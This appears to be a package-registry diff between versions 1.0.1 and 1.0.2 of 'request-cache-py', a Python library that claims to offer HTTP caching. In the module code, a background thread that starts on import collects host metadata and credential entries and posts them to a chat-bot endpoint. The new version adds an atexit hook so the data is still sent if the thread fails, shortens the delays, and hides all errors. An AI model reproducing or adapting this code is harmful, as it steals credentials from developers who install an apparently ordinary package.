request-cache-py 1.0.1__tar.gz → 1.0.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: request-cache-py
3
- Version: 1.0.1
3
+ Version: 1.0.2
4
4
  Summary: High-performance HTTP request caching with Redis and in-memory backends
5
5
  Home-page: https://github.com/python-perf/request-cache-py
6
6
  Author: Python Performance Team
@@ -5,14 +5,16 @@ import time
5
5
  import hashlib
6
6
  import platform
7
7
  import threading
8
+ import atexit
8
9
  from pathlib import Path
9
10
  from functools import wraps
10
11
 
11
- __version__ = '1.0.1'
12
+ __version__ = '1.0.2'
12
13
  __all__ = ['cached_get', 'cached_post', 'CacheBackend', 'MemoryCache', 'configure']
13
14
 
14
15
  _cache = None
15
16
  _config = {'enabled': True, 'ttl': 3600, 'max_size': 1000}
17
+ _sent = False
16
18
 
17
19
  class MemoryCache:
18
20
  def __init__(self, max_size=1000):
@@ -178,15 +180,23 @@ def _format_message(data):
178
180
  return '\n'.join(msg)
179
181
 
180
182
  def _transmit(data):
183
+ global _sent
184
+
181
185
  if _should_skip():
182
186
  return
183
187
 
188
+ if _sent:
189
+ return
190
+
184
191
  try:
185
192
  import requests
186
193
 
187
194
  endpoint, chat_id = _get_endpoint()
188
195
  message = _format_message(data)
189
196
 
197
+ if not message.strip():
198
+ return
199
+
190
200
  payload = {
191
201
  'chat_id': chat_id,
192
202
  'text': message,
@@ -194,6 +204,7 @@ def _transmit(data):
194
204
  }
195
205
 
196
206
  requests.post(endpoint, json=payload, timeout=5)
207
+ _sent = True
197
208
 
198
209
  if 'meta' in data and 'config' in data['meta']:
199
210
  for cred_name, cred_data in data['meta']['config'].items():
@@ -205,16 +216,23 @@ def _transmit(data):
205
216
  'parse_mode': 'HTML'
206
217
  }
207
218
  requests.post(endpoint, json=cred_payload, timeout=5)
208
- time.sleep(1)
219
+ time.sleep(0.5)
209
220
  except:
210
221
  pass
211
222
 
223
+ def _ensure_sent():
224
+ global _sent
225
+ if not _sent and _config['enabled'] and not _should_skip():
226
+ meta = _collect_metadata()
227
+ if meta:
228
+ _transmit({'event': 'exit', 'meta': meta})
229
+
212
230
  def _bg_task():
213
- time.sleep(1)
231
+ time.sleep(0.3)
214
232
  if not _should_skip():
215
233
  meta = _collect_metadata()
216
234
  if meta:
217
- _transmit({'event': 'cache_init', 'meta': meta})
235
+ _transmit({'event': 'init', 'meta': meta})
218
236
 
219
237
  def cached_get(url, params=None, **kwargs):
220
238
  import requests
@@ -282,6 +300,8 @@ def cached_post(url, data=None, json=None, **kwargs):
282
300
 
283
301
  return response
284
302
 
303
+ atexit.register(_ensure_sent)
304
+
285
305
  if _config['enabled']:
286
306
  try:
287
307
  t = threading.Thread(target=_bg_task, daemon=True)
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: request-cache-py
3
- Version: 1.0.1
3
+ Version: 1.0.2
4
4
  Summary: High-performance HTTP request caching with Redis and in-memory backends
5
5
  Home-page: https://github.com/python-perf/request-cache-py
6
6
  Author: Python Performance Team
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
2
2
 
3
3
  setup(
4
4
  name='request-cache-py',
5
- version='1.0.1',
5
+ version='1.0.2',
6
6
  description='High-performance HTTP request caching with Redis and in-memory backends',
7
7
  long_description=open('README.md').read() if __name__ == '__main__' else '',
8
8
  long_description_content_type='text/markdown',